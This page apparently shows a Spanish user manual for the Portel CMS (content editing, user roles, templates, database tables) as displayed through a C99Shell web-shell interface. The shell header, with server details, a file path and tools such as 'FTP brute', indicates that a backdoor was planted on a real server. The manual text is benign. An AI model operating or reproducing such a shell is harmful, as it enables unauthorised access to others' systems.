!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Intranet\C\xampp\htdocs\portel_dama\documentacion\Screenshots\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.36%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     general.htm (64.35 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Documento sin título ¿Qué es Portel?

Portel es un CMS (Content Management System) o Sistema de Manejo de Contenidos, lo que se traduce básicamente en que es una herramienta diseñada para mantener actualizados los contenidos de un sitio Web.

Adicionalmente a su objetivo principal, Portel provee a los sitios Web de otras herramientas como utilidades en comunicaciones, servicios de estadísticas, desarrollo y gestión tecnológica, entre otras características posibles.

¿Cómo empezar a trabajar con Portel?

Portel tiene dos áreas de trabajo principales, que no son más que las dos grandes etapas en las que se divide el proceso de cualquier sitio Web, su construcción y mantenimiento.

Capítulo 1
Creación o construcción.

Portel apoya la construcción de los sitios Web en dos instancias claves del proceso, la estructuración de secciones del sitio y el manejo de la presentación o el diseño. Como usted debe saber, un sitio de Internet tiene unos insumos que son obligatorios antes de siquiera intentar hacer la primera página, ellos son por lo menos; el plan de navegación y el diseño.

El plan de navegación es la forma en que se disponen las distintas secciones y contenidos de un sitio Web, para que el usuario los navegue de forma ordenada y lógica de acuerdo a una secuencia establecida. Es el índice de los sitios Web y su forma es la de un esquema parecido a un árbol jerárquico. Si quiere saber más sobre ellos o sobre cómo hacer su propio plan de navegación haga clic aquí.

El diseño en palabras simples es la apariencia que tiene para el usuario su sitio Web. Si quiere conocer los principios básicos del diseño de una página Web haga clic aquí.

Con estos dos elementos claros podemos abordar la forma en que esta herramienta ayuda a gestionar estas dos tareas iniciales del montaje de una página.

En primer término, Portel mediante el uso de uno de sus módulos llamado “categorías” puede crear cualquier estructura tipo árbol de navegación, que sea necesaria para representar un sitio Web o Portal.

En el siguiente diagrama se ejemplifica una estructura muy sencilla de navegación, viable de administrar mediante el uso de Portel.

¿Quiere aprender cómo crear y administrar su estructura en Portel?

En segundo lugar, cada sitio Web tiene un diseño o presentación gráfica diferente. Incluso dentro de él, cada sección, página o servicio puede tener su propio formato, pues es muy diferente por ejemplo una página de noticias a una galería de imágenes.

Portel no hace el diseño por usted, simplemente le ayuda a aplicarlo a la estructura de su sitio y a administrarlo mediante el uso de plantillas. Lo anterior, también denominado “personalización de su sitio” es la forma de dar un aspecto particular a su página Web, para que se diferencie de las otras.

¿Quiere aprender a personalizar su sitio Web?

Ahora bien, sin embargo Portel le puede proveer un diseño estándar que usted puede utilizar si no ha hecho uno propio o si simplemente no desea hacerlo. Haga clic aquí para ver cómo son y cómo se pueden utilizar estos diseños preexistentes.

Capítulo 2
Mantenimiento

La segunda etapa en la que Portel apoya o ayuda a los sitios Web es en su actualización y mantenimiento.

Como se sabe, un sitio Web es tan bueno como el grado de actualización que tienen su información y los servicios que presta. De esta forma es crítico que un sitio Web, sea actualizado y mejorado constantemente para que sea competitivo, actual y útil para los usuarios que éste cautive.

Esta es el la principal área de trabajo de Portel, facilitar a una entidad la administración y actualización de los recursos asociados a su página Web de forma rápida y sin que sean necesarios conocimientos técnicos de programación o diseño.

De hecho Portel es tan fácil de utilizar como una aplicación de correo electrónico, pues solo bastan unas sencillas instrucciones, para que usted edite, agregue o administre la información de su sitio desde cualquier lugar y en cualquier momento.

Antes de seguir, diremos que se dividen a partir de aquí las labores de actualización de las de mantenimiento pues éstas son entre si en la práctica ligeramente diferentes.

Actualización: son todas aquellas labores que se ejecutan con el fin de mantener al día los contenidos dentro del sitio.

¿Quiere aprender a manejar y actualizar contenidos usando Portel?

2.1 Gestión de Contenidos y Actualización.

La gestión de contenidos se refiere a la forma en que un usuario en Portel puede agregar, editar, eliminar y organizar información dentro de un sitio Web para mantenerlo actualizado.

¿Qué debo saber antes de seguir?
Lo único que usted debe saber para poder desarrollar este tema es algo de redacción, conocimientos básicos de Internet y en el manejo del PC.

¿En donde voy a trabajar y cómo?
El primer paso en cualquier publicación como una página Web es saber en donde voy a trabajar, es decir en qué sección o secciones voy a contribuir, ingresando, editando y administrando contenido. La cantidad de secciones dependerá del número de éstas que le hayan sido asignadas por el supervisor o publicador del sitio.

En este orden de ideas los sitios Web en Portel, pueden tener hasta un máximo de tres perfiles de usuarios, el editor quien es el que edita la información en la secciones –agrega, actualiza y organiza información-, el publicador, quien autoriza que lo que el editor ha hecho en una sección se publique en la Web de forma definitiva y el supervisor quien simplemente tiene un control global sobre las secciones para poder hacer cambios o sugerencias a los editores y publicadores.

En la práctica los 3 perfiles pueden gestionar contenido, pero se disponen así pues en algunas entidades de gran tamaño debe haber una estructura jerárquica que controle la publicación en la Web a través de varias personas.

Idea 1: Verifique en su entidad si estos perfiles existen y de ser así quienes son. En adelante para referirnos a uno u otro tipo de usuario, utilizaremos los nombres de perfiles “Editor”, “Publicador” y “Supervisor”.

2.2 Contenido

Antes de empezar debemos saber que contenido es todo aquel material que se quiere publicar en una página Web, que cumple con tres características principales: que es informativo, que es temporal y que se visualiza a través del navegador.

Así por ejemplo hay muchos tipos de contenido; una noticia, un enlace, un indicador o una gráfica son algunos de ellos.

Cada uno de esos tipos de contenido tienen formas distintas, por ejemplo el enlace es simplemente una palabra que esta destacada para que al hacer clic sobre ella el usuario se vaya a otra página Web. Por otro lado, una noticia es un texto que puede estar o no acompañado de una o varias fotos según sea y así sucesivamente cada uno de esos tipos tendrá unas características.

Tipos

En Portel, quien hace el diseño y montaje de la página define los tipos de contenido que se van a usar dentro de una sección. Así por ejemplo: si en el diseño se define que se hará una sección que se llama “tecnología”, y en ella se esperan poner algunos tipos de contenido, por ejemplo algunas notas y unos enlaces, es comprensible que quien actualice la información -editor- vaya a trabajar con notas y enlaces.

Idea 2: Antes de empezar a producir información revise qué tipos de contenido tiene su sección a cargo contactando a su supervisor o publicador.

Producción

Una vez usted ya sepa qué tipos de contenido hay en su sección a cargo, simplemente empiece la tarea de producción del contenido.

Textos.

En muchos de los tipos de contenido que se usan en cualquier página Web se incluyen los textos. En esta guía no le diremos cómo escribir, aún así le recomendamos que si quiere conocer algunas sugerencias de cómo escribir para Internet haga clic aquí.

Los textos deben ser manejados de la forma más sencilla posible para garantizar su fácil transporte al editor de contenidos. A continuación algunas recomendaciones para cuando realice sus textos.

- Utilice herramientas sencillas como negrillas, tabulados y viñetas para dar formato a sus textos.
- Evite los elementos de gran complejidad en los textos tales como gráficos, formulas e imágenes, éstos no podrán ser pegados correctamente en el editor.
- Busque simplificar sus tablas, el editor no podrá acoplar tablas de gran tamaño a un formato en pantalla sin efectos en la presentación.

Consejo: Cuando quiera publicar textos con mucho formato (tablas complejas, gráficos, organigramas, imágenes, etc.) considere añadirlos como documentos anexos y no cómo texto para la página, recuerde que casi nadie lee un texto largo directamente en la pantalla.

Enlaces

Si usted quiere hacer un pequeño grupo de enlaces y necesita ingresar direcciones al editor para que sean tomadas como tal recuerde que las debe obtener completas es decir incluyendo el prefijo http://.

Imágenes

De la misma forma que con los textos, esta guía no muestra cómo se producen las imágenes bien sea mediante la toma de fotografías digitales o mediante la edición de éstas en programas especializados.

Sin embargo haciendo clic aquí, se puede conocer algo más sobre cómo obtener fotos digitales y aquí para conocer algo sobre cómo y con qué herramientas es posible editar imágenes en un PC.

Bien sea de una u otra forma, el editor de contenidos Portel trabaja con 2 tipos de archivo de imágenes principales; GIF y JPEG.

Medios

Portel permite que usted agregue como contenido múltiples tipos de medios, algunos de ellos son: películas en flash, videos en múltiples formatos, audio y documentos.

Consulte con el administrador de su sitio Web cuales formatos éste autorizó para publicar material en su sitio.

La producción de cada uno de estos medios deberá ser realizada mediante el uso de las aplicaciones respectivas.

2.3 La Carga

Una vez ha producido los contenidos, medios e información que necesita para actualizar o cargar su página Web usted deberá empezar a utilizar verdaderamente el editor.

En este hay dos opciones básica de carga de información; carga de contenido y carga de documentos, imágenes y medios.

Cargar contenido

Este contenido se carga para que la página Web lo muestre directamente. Como en el ejemplo que se trató antes la página Web puede mostrar varios tipos de contenidos, es por ello que iremos examinando con algunos ejemplos cómo cargar información de al menos tres tipos comunes.

Cargar un enlace

Cargar un texto en pantalla

Cargar una noticia

Cargar documentos, imágenes y medios

Adicionalmente es posible cargar documentos, imágenes y medios para usar en secciones de una página como complemento, por ejemplo, usted puede cargar un documento a su página de trabajo, para que los usuarios descarguen el mismo y lo consulten como un medio anexo.

De esta forma también se permite la carga de películas, imágenes y otros tipos de archivos para que se muestren bien sea en la página o simplemente se descarguen al pulsar un botón.

¿Cómo se manejan las imágenes en Portel?

Portel tiene un sistema llamado “Fotos y Medios” que actúa como un banco de imágenes para todo el sitio. En la práctica, todos quienes quieran subir fotos al sitio las deben dejar disponibles para el uso de todos los demás.

Ejemplo: Si usted es el editor de una información de negocios, y para ilustrar su sección ingresa en el sistema a través del editor una serie de imágenes relativas al tema. Usted no solo podrá usar esas fotos para ilustrar su nota original, sino que otros usuarios e inclusive usted mismo pueden reciclar esas imágenes para ilustrar otra información.

De esta forma los llamados “contenidos” –textos, historias, enlaces-, son independientes a las imágenes. Así, para que una imagen se vea junto a un texto o contenido, es necesario relacionarlos entre sí para que se genere un vínculo y se genere la visualización correcta de texto y foto.

Esta situación tiene varias ventajas:

- Las imágenes se pueden reutilizar cuantas veces sea necesario.
- Es una forma de trabajo contributivo.
- Una entidad no necesita un banco de fotos gigantesco, pues con conservar un número moderado de imágenes, pueden llegar a tener suficiente material gráfico como para ilustrar suficientemente un sitio.
- La centralización de las imágenes facilita su actualización y administración.

¿Cómo se organizan las imágenes y medios?

Portel cuenta con la posibilidad de hacer clasificaciones de las imágenes y medios a través de unos tipos definibles por el usuario.

Con tales tipos, es posible determinar algunos criterios de organización para el universo de imágenes que se pueden ingresar. Ejemplo: usted puede crear un tipo de medios llamado “fotos empresa”, bajo el cual se ingresan aquellas imágenes que se han tomado en la oficina o que son internas. Usted no tiene límites de clasificación y éstas aplican tanto para imágenes como para documentos y otros medios.

Relacionar contenidos con documentos, imágenes y medios.

Siguiendo el siguiente instructivo podrá saber cómo relacionar los contenidos y las imágenes para que se visualicen juntas.

Relacionar contenidos

Ocasionalmente será necesario relacionar una historia, contenido en pantalla o similar con otro recurso de contenido agregado a un sitio. De esta forma el usuario puede encontrar información relacionada para ampliar su navegación, cosa que aprovecha las bondades naturales del llamado hiper texto.

Agregar elementos especiales a mis páginas

Agregar o editar una encuesta

Agregar un sistema de comentarios a un texto.

Añadir una versión traducida de un contenido.

Capítulo 3
Administración

La Administración en Portel está centrada en las siguientes áreas:

- Administración de Usuarios y Organizaciones
- Administración de Tipos, Perfiles y Clases
- Administración de Información provista por el Navegante
- Administración de Suscripciones
- Visor de Estadísticas
- Herramientas Especiales

3.1 Administración de Usuarios y Organizaciones

Organizaciones o Fuentes

Este paquete de funciones y utilidades permite básicamente crear, editar y administrar información asociada de usuarios y organizaciones.

Para el efecto las organizaciones en el sistema serán todas aquellas empresas, entidades, sucursales u otro tipo de organizaciones que contribuyan editorialmente en la construcción de un sitio Web. Normalmente, hay una organización matriz, pero este sistema se basa en la posibilidad que otras instancias colaboren en la edición del sitio, por lo que es ideal que sus operaciones sean registradas de forma diferenciada entre organizaciones.

Este concepto busca que cada organización sea tratada como una “fuente” de información, a fin de clasificar fácilmente su gestión ante el sitio al que se le aporta.

Pro Administración Fuentes

Contactos o Usuarios

Por otro lado contactos o usuarios son todas aquellas personas que intervienen en la edición del contenido o en la dinámica del sitio. Los contactos tienen además de una serie de datos básicos relacionados, una categorización que ayuda a entender su grado de relacionamiento con el sistema.

- Administrador: realiza como su nombre lo indica las tareas propias de este capítulo.
- Publicador: usuario que además de poder realizar las tareas básicas de edición descritas en el capítulo anterior, es el encargado de autorizar la publicación de secciones y contenidos.
- Supervisor: perfil que aplica para usuarios que pueden supervisar a otros.
- Editor: usuario básico que puede realizar las tareas básicas de edición, sin la posibilidad de poder autorizar su publicación.
- Suscriptor: perfil que aplica para todas aquellas personas que se suscriban al sitio en calidad de usuarios del mismo o de alguno de sus servicios.

Encadenamiento de la publicación.

En la práctica, el administrador puede crear en el sistema uno o todos los perfiles de usuario necesarios para encadenar un procedimiento de publicación. De esta forma se opera en el mayor grado de complejidad como se muestra en el siguiente esquema.

De esta forma, los editores simplemente dentro del Editor; agregar, editan y trabajan para que los contenidos queden cargados en las respectivas secciones autorizadas para cada uno. Una vez ingresados los contenidos, el publicador revisa y autoriza o no su publicación. Por último el supervisor vigila en una forma de “caza errores” los posibles detalles del trabajo que sus supervisados hayan podido cometer.

Tanto publicadores como supervisores pueden ser limitados a publicar o supervisar, tanto todo como una determinada porción del sitio.

Ahora bien este proceso jerárquico no serviría de mucho sin la gestión de usuario por temas, es decir la posibilidad de asignar a un usuario de cualquier nivel uno o varios temas para que los trabaje, según la estructura de secciones del Sitio Web. Ver cómo se asignan permisos a un usuario para trabajar con una o varias secciones.

A continuación se presentan las tareas básicas que permite la administración de contactos y perfiles.

Pro Administración Contactos

Por último un grupo de labores que permite la gestión de contactos de Portel, es el control de actividades. Con este sistema es posible saber qué hace, cuando y cómo cada usuario en el sistema.

El visor es un pequeño sistema de reportes que relaciona a los contactos por aplicaciones y fechas, lo cual ayuda al administrador para establecer acciones sobre la información y su gestión.

Pro Consulta del Registro de Operaciones

3.2 Administración de Tipos, Perfiles y Clases

Muchos sistemas de información como en el caso de Portel necesitan para poder funcionar correctamente, de un conjunto de elementos parametrizables que se aplican a diferentes módulos de forma global. Éstos, si bien no son la función en si misma, la organizan de forma muy importante. Un ejemplo de ello son los tipos de contenido. Como vimos en el capítulo 2, Portel viene con algunos tipos de contenido preestablecidos, pero qué pasaría si fuera necesario agregar a todo el sistema uno nuevo. Para ello existen estos editores de Tipos, Perfiles y Clases que ayudan a administrar elementos que son globales para todo Portel de una forma simple y centralizada.

Cada uno de los elementos globales que controlan tienen diferentes aplicaciones, pero en si son datos sencillos y muy comprensibles como veremos a continuación.

Un grupo de estos elementos globales son parametrizables a través de simples editores, pues pueden cambiar constantemente. Por otro lado, también hay un conjunto de parámetros que no cambian muy frecuentemente o constantes, que se editan de vez en cuando a través de la modificación de un archivo de configuración.

A continuación revisaremos cada uno de ellos para conocer qué controlan y cómo.

Tipos de Contenido

El editor de tipos de contenido le permite registrar dentro del sistema nuevas formas de contenido. Bien sea que usted desarrolle nuevos tipos, o que los adquiera en el sitio de recursos de Portel, usted deberá registrar en el sistema cuales nuevos tipos y qué identificación usan para que sean usables dentro del Editor.

Más información de cómo registrar nuevos tipos de contenido en el Capítulo 4.

Pro Tipos Contenido

Tipos de Alias de los Formatos

Para conocer qué son los alias de los formatos, refiérase al capítulo 4. Este editor le permitirá agregar nuevos alias para sus formatos regulares y administrarlos centralizadamente.

Pro Tipos de Alias de Formatos

Perfiles de Contenido

Los perfiles de contenido en Portel son formas de ver según en tipo de público la información. Los perfiles aplican para dar a conocer una sección con lenguajes particulares a grupos diferentes de usuarios. Ejemplo: una sección sobre el tema de salud, puede haber dentro de la misma algunos contenidos con un perfil general, otros con perfil hacia la mujer y otros con perfil para los niños. Este es un simple control que se hace a lo largo de todo el sitio, para habilitar la segmentación de información hacia grupos específicos, que por logística, comunicación u otro factor requieran del uso diferenciado de contenidos, dentro de una misma categoría.

Pro Perfiles de Contenido

Clases de Fotos y Medios

Con tales clases, es posible determinar algunos criterios de organización para el universo de imágenes y documentos que se pueden ingresar dentro del Editor. Ejemplo: usted puede crear un tipo de medios llamado “fotos empresa”, bajo el cual se ingresan aquellas imágenes que se han tomado en la oficina o que son internas. Usted no tiene límites de clasificación y éstas aplican tanto para imágenes como para documentos y otros medios.

Pro Clases de Fotos y Medios

Idiomas

Portel no hace traducción simultánea de contenidos a otros idiomas, razón por la cual los contenidos en idiomas extranjeros deben ser añadidos a los originales en la lengua materna como traducciones anexas a éste. Esta sencilla opción habilita la clasificación de material traducido en idiomas y permite al sitio reconocer cuales lenguas y qué contenidos se encuentran disponibles en ellas.

Pro Idiomas

Diccionario de Excepciones

El buscador de Portel como casi cualquier otro maneja un diccionario de palabras llamadas excepciones. Dichas palabras no son consideradas dentro de la búsqueda, pues generalmente corresponden a artículos, preposiciones y otros tipos especiales que no aportan nada a la consulta. Use este editor para agregar, editar o eliminar esas palabras que usted considera no deben ser buscadas dentro de un criterio.

Pro Dicc Expeciones

Archivo de Constantes.

Las constantes son todo tipo de datos que permanecen fijos en el sistema y que se usan en muchos módulos distintos dentro del mismo Editor. Corresponden casi siempre a información como; tipos de archivo, nombres de ciudades, colores y otros elementos generales que no cambian con mucha frecuencia y que principalmente son transversales a toda la administración.

Estas constantes se editan modificando el archivo “setup_constantes.php” presente en la carpeta “administración/formas”, a través de cualquier editor de texto o página Web. El archivo presenta la siguiente mecánica para el uso y registro de las citadas constantes.

1. Asigna a cada grupo de constantes según su función, un número de control representado en la variable “$o”.
2. Da a cada grupo un nombre distintivo que identifica, para qué son y cómo están relacionadas.
3. Y divide en dos arreglos “$var” y “$var1”, la asignación de la etiqueta a través de “$var” y del valor mediante “$var1”
4. Estos dos arreglos componen la relación etiqueta y valor que es necesaria para definir cualquier constante.

Los principales grupos de constantes son:

- Colores
- Fuentes o Tipos de Letra
- Tamaños de Fuente
- Decoración de Enlaces
- Ubicaciones (Ciudades)
- Países
- Formatos de Archivo
- Carpetas de la Librería
- Perfiles de Usuario para los Foros
- Perfiles de Usuario
- Tipos de Usuario
- Caracteres Especiales de Escape para el Español.
- Acciones

3.3 Administración de Información provista por el Navegante

3.4 Administración de Suscripciones

3.5 Visor de Estadísticas

3.6 Herramientas Especiales

Archivo de Configuración General del Editor

Portel cuenta con un archivo general de configuración que determina la forma en que se presenta el Editor. En archivo “setup_administracion”, presente en la carpeta “administración/formas” controla los siguientes aspectos de la visualización del editor:

1. Nombre de la página.
2. Imagen y dimensiones del Banner
3. Link del home de administración.
4. Nombre del cliente o de la instalación
5. Años de Vigencia del Editor
6. Ubicación del archivo de estilos o CSS que controla el aspecto de fuentes, enlaces, tamaños y otros componentes de la página.
7. Colores de banners, fondos y otros elementos.

Simplemente, editando los datos requeridos usted puede cambiar el comportamiento deseado dentro de la interfase del Editor.

RemPlace 1.0

Pro RemPlace 1.0

Capítulo 4
Plantillas

4.1 Plantillas y personalización

Una de las tareas más importantes que se tienen al crear cualquier sitio Web es lo que se denomina la personalización.

La personalización es la forma en que una página Web se adapta a unas necesidades en de comunicación, es decir que se aplica una presentación específica o diseño.

La personalización es una tarea que se lleva a cabo en dos etapas principalmente:

- La creación de plantillas y objetos
- La administración de plantillas.

Concepto de plantilla y objetos

Un sitio Web es una colección ordenada de páginas, y una página a su vez, un formato en el cual se agrupan diferentes tipos de contenidos, de acuerdo a una diagramación.

En el esquema anterior el sitio Web está compuesto de varias páginas y las páginas a su vez están compuestas de unos elementos llamado objetos, que para el ejemplo son; un banner, un menú y una noticia.

Esto es cierto para un sitio Web estático, pero uno dinámico es ligeramente diferente. Un sitio dinámico como los que maneja Portel, está compuesto de un sistema principalmente. Este sistema simula para el usuario el esquema de una página Web normal a través de la unión de dos componentes: la estructura y la presentación.

La estructura como vimos en el capítulo 1 le da la forma al sitio, es decir determina cuales secciones existirán, cómo se ordenan de forma jerárquica y cómo se navegará a través de ellas para que sean plenamente accesibles y utilitarias. En el caso del esquema anterior, se traduce en las flechas que relacionan a una página con otra.

Ahora bien que hay de la estructura si esta no tiene formato. Este es el segundo gran componente de un sitio dinámico, así, el formato se define como el conjunto de características visuales que ayudan a una sección a mostrar el contenido o a ofrecer un servicio.

Ejemplo: Suponga que usted va a hacer un sitio Web en Portel. Para ello ha determinado que éste tenga tres secciones a parte de la página principal; noticias, servicios y productos. Hasta aquí, lo único que tiene es una estructura así:

Ahora, ¿cómo se verán al navegar dichas secciones?, ¿serán todas iguales?.

Suponiendo que usted ya tiene un diseño, como se le pidió en el capítulo 1.

Es hora de empezar a ajustar ese diseño a las necesidades de cada sección. En el ejemplo la sección de noticias debería ser diferente a la de servicios, no tanto por un capricho estético, sino porque su función es distinta. La de noticias probablemente deberá tener un espacio generoso para desarrollar un texto e insertar unas imágenes, mientras que la de productos, puede requerir más bien una presentación tipo catálogo con fichas de los respectivos productos.

En este caso lo primero que habría que hacer es adaptar el diseño a las necesidades de cada sección y con ello definir para cada una un formato.

Este formato está dado por un archivo que lo estructura, llamado plantilla. Las plantillas a su vez deben registrar cuales objetos las componen. Así como a la página estática del esquema inicial la componen tres objetos –banner, menú y noticia-, la plantilla deberá también tener unos objetos incluidos que le permiten traer uno u otro tipo de contenido.

¿Cómo crear una plantilla?

Las plantillas en la práctica son igualmente páginas en HTML, su construcción esta considerada ampliamente en el siguiente instructivo Guía de Montaje de Sitios en Portel.

Administrar las plantillas (Formatos de Presentación)

A nivel administrativo la personalización del sitio se lleva a cabo de la siguiente forma, previa resolución de dos insumos fundamentales, la ya muy mencionada estructura y los archivos de las plantillas.

1. Se cargan los archivos de plantillas en el modulo de “formatos” y a cada uno de ellos se les asigna un nombre.

Pro Administrar Formatos

2. A cada componente o “categoría” de la estructura creada o por crear se les asigna uno de los formatos ingresados.

Pro Crear o Editar el Formato a una categoría.

Además de las tareas básicas de poder crear un formato a partir del archivo de una plantilla y aplicar ésta a una categoría dentro de una estructura del sitio, la administración de plantillas permite lo siguiente.

CSS

Los formatos de presentación o plantillas, deben tener prevista la inclusión de una hoja de estilos CSS. De esta forma la hoja de estilo controlará de forma centralizada a través de un archivo con esa extensión la forma en que se presentan al usuario elementos HTML tales como:

- DIV.
- Párrafo
- Tabulado (LI)
- Clases de texto
- INPUT
- SELECT
- TextArea
- Comportamiento y apariencia de enlaces (A y A:hover)
- Tablas
- Otros, tal y como lo desee el usuario.

El archivo por defecto que se carga al instalar Portel se llama “classic.css” y se encuentra en la carpeta “librería/css”.

Usted puede alterar este archivo o cargar su propia hoja de estilos a través del siguiente instructivo.

Pro CSS

Si lo que usted quiere es saber qué es y cómo hacer una hoja de estilo correctamente, lo invitamos a seguir este enlace.


Alias de los Formatos

Entendido el concepto de los formatos de presentación, es hora de revisar qué son los alias.

Para empezar, hay que decir que cada sección puede tener más de una forma de verse, por ejemplo, si usted tiene una categoría que se llama “productos”, es posible que todos los navegadores tengan la opción de ver lo que usted quiere mostrar a través de su formato, pero ahora piense en qué tal que quien está consultando su página es un usuario con unas condiciones diferentes, por ejemplo una persona con limitaciones visuales.

Este usuario simplemente no podrá explorar su página, pues su PC está dotado de un dispositivo de accesibilidad que le permite operarlo a través de impulsos en el alfabeto Braille. Resulta que su formato generalmente no cumplirá con el estándar de accesibilidad necesaria, para que pueda ser explorado por este tipo de usuarios. ¿Qué hacer entonces?, pues la respuesta es muy fácil, en este como en otros casos –idiomas, plataforma- se debe construir un formato alternativo para que la información se presente correctamente, estos formatos son los llamados alias en Portel.

En ese orden de ideas, usted debería realizar un formato compatible con el protocolo respectivo, ingresar en él los objetos que cumplan con la misma norma (Disponibles en el sitio Web de recursos de Portel) y construir una presentación alternativa de su sección para aquellos tipos de usuarios que tengan consideraciones especiales de presentación como éstos.

Algunos tipos de formato alternos a los normales:

- Un grupo muy grande de formatos especiales para acceso de personas con discapacidad deben ser desarrollados para garantizar el acceso de esta población. Más información aquí.
- Otra aplicación de los alias, es el desarrollo alternativo de secciones en dos o más idiomas.
- Las plataformas especiales como WAP, televisión y PDAs pueden ser implementadas mediante el uso de los alias. Más información aquí.

Para añadir un alias a un formato use el siguiente instructivo.

Pro añadir un alias a un formato

Por último los alias pueden estar categorizados por tipos, conozca cómo ingresar tipos de alias aquí. Su aplicación estará dada para generar grupos, pues no es conveniente que los alias de los formatos se traten de forma aislada y atomizada.

Capítulo 5
Objetos

Como vimos antes en Portel los objetos son los que realmente componen las plantillas. Cómo verá usted con la práctica, la plantilla resulta ser una especie de esqueleto, en donde se entran a ubicar objetos, que son lo que dan verdadera forma y función a los formatos y por lo tanto a las páginas que representan.

Los objetos pueden ser de dos clases: estáticos y dinámicos.

5.1 Objetos estáticos.

Son todos aquellos objetos que no requieren de la inserción de ninguna clase de código, pues no realizan operaciones, ni ofrecen o gestionan información a través de la base de datos.

5.2 Objetos dinámicos.

Por su parte los dinámicos, son aquellos que permiten la realización de alguna operación automatizada tales como cálculos, consultas, inserción o edición de la base de datos entre otras operaciones posibles.

Su único límite está dado por las capacidades de quien los desarrolla o programa y su plataforma es PHP. Su gestión de datos si bien es abierta, es decir que Portel puede usar varias bases de datos para el almacenamiento de información, por defecto se resuelve a través de bases de datos MySQL.

En Portel los objetos están íntimamente ligados al desarrollo de la aplicación, de esta forma obtenerlos es cuestión de seguir los procedimientos de tecnología necesarios. En el siguiente recuento se explica con qué herramientas a nivel de programación se cuenta para generar tales complementos.

El Formato

Lo primero que debe tener un objeto dentro de su presentación es un formato. Por ejemplo un objeto que pretenda mostrar una noticia debería tener una apariencia que incluya un título o encabezado, un texto resaltado y un cuerpo con el grueso de la información.

Cree su objeto en HTML sin más formato que lo que el mismo objeto necesite y sálvelo como un archivo independiente con el nombre de su objeto.

¿De dónde proviene la información?

La información que los objetos necesitan para constituirse, reposa en la base de datos. Por ejemplo, en el caso de la noticia, el título, el “lead” y el cuerpo del texto, corresponden a datos que han sido ingresados a ella a través del uso del Editor.

En la base de datos dicha información se almacena en tablas. Estas tablas contienen según la estructura de la aplicación unos campos predeterminados que logran en distintas combinaciones generar cualquier tipo de contenido.

Dichas tablas son variadas y cumplen dentro de la aplicación muchas funciones, razón por la cual están organizadas en grupos. Para este caso en particular, el grupo de tablas que manejan el contenido en el sistema son aquellas que tienen antepuesto el prefijo “contenido_”.

Este grupo se divide a su vez en dos, tablas básicas, es decir que son como tal las que soportan la información de cada componente de contenido, y tablas de relacionamiento, lo que indica que las tablas sirven para referenciar los datos de las tablas básicas entre sí, con el objeto de ofrecer una información integral.

Las tablas básicas de este grupo son:

• Contenido_categoria
• Contenido_fotos_y_medios
• Contenido_links

Y las tablas de relacionamiento son:

• Contenido_pertenencia_categoria_links
• Contenido_pertenencia_foto_categoria
• Contenido_pertenencia_foto_links
• Contenido_pertenencia_links_links

Como se ve, las tablas de relacionamiento tienen incluido dentro de su nombre la palabra “pertenencia”, lo que dice claramente que relaciona un elemento con otro. En la nomenclatura normalizada para el sistema, las dos siguientes palabras separadas por un guión bajo representan los elementos que integran.

Las relaciones

Las tablas principales se ilustran en el siguiente esquema, junto con las flechas que las unen, las cuales simbolizan las relaciones entre ellas (las tablas de relacionamiento)

Las relaciones se dan mediante elementos que se puedan unir, para ello cada tabla tiene un campo de identificación única, que es un número autoincremental que se suma por cada registro ingresado. Este número o “ID” es la identificación de cada registro que existe en estas tablas y es un número único dentro de cada una de ellas, lo cual permite hacer relaciones así:

Si se toma como ejemplo la tabla “Contenido_categoria” y la tabla “Contenido_links” como tablas básicas y se analiza la tabla de relación “Pertenencia_categoria_links”, esto funciona de la siguiente forma:

En este esquema la tabla “Contenido_links”, tiene un campo de identificación único llamado “links_id” y la tabla “Contenido_categoria”, maneja a su vez uno de dos posibles “Categoría_tema_id” y “Categoría_id”. Así, en la tabla de relacionamiento intermedio “Pertenencia_categoria_links” se dice que por cada registro “Categoría_tema_id”, corresponde un registro “links_id”.

Para aplicar al resto de tablas de manejo de contenido las relaciones son las siguientes:

Diagrama de Entidades y Relación del área de Contenidos

Por motivos documentales, se muestra a continuación un diagrama ampliado de las tablas básicas de contenido y sus relaciones en una presentación de tipo “Diagrama entidad relación” para su mejor entendimiento por parte de usuarios técnicos.

El sentido práctico

Ahora bien, las tablas se identifican, las relaciones existen y el esquema se conecta, pero hay una pregunta fundamental, ¿en la práctica qué datos contiene cada tabla y en qué campos?

Como vimos las tablas del grupo “contenido” contienen la información que nos interesa para poder construir cualquier objeto. A continuación se describe qué función tiene cada tabla básica y qué datos contiene.

Extracción de Resultados

Si usted se refiere al diseño que hizo en HTML de su objeto sabrá que datos según la información del anterior numeral, necesita para poderlo complementar con información.

Para seguir con el ejemplo, si usted está diseñando por ejemplo el objeto de noticias y como dijimos necesitará algunos datos como el título, el “lead”, el cuerpo de las noticias y las imágenes que estén relacionadas a ese contenido para presentarlo deberá identificar cada parte del objeto de donde la extrae.

Según la revisión de datos anterior es posible que las partes del objeto se surtan así según las necesidades de datos.

• Titulo, proviente de la tabla “Contenido_links”, el campo “links_nombre”.
• Lead, es posible que esta pequeña introducción pueda ser provisto en la misma tabla por el campo “links_descripcion”.
• Cuerpo del texto, también puede venir de “Contenido_links”, pero esta vez usaremos el campo “links_texto”
• Las fotos relacionadas podrán ser examinadas mediante el chequeo de cuales imágenes están relacionadas con el número único de identificación del contenido, en la tabla “Contenido_fotos_y_medios”, mediante la tabla de relacionamiento “Contenido_pertenencia_foto_links”.

En esquema sería algo así:

La clase “select_pg”

Sobre la base de que ya sabemos cuales datos se deben extraer para nutrir de contenido a los objetos, ahora solo basta saber cómo hacerlo.

En Portel existe una única clase que invoca las consultas, que se llama (select), de hecho esta clase no solo permite extraer datos, sino que prácticamente a través de ella es posible ejecutar cualquier tipo de sentencias SQL o “Query”. De esta forma es pueden insertar, actualizar y borrar datos, además de efectuar complejas consultas a las tablas del grupo de “Contenido”.

SQL es un lenguaje que permite realizar estas operaciones con los datos, si quiere conocer más sobre cómo funciona el llamado “Structured Query Language”, haga clic aquí.

La clase llamada “select_pg” tiene la siguiente estructura y parámetros.

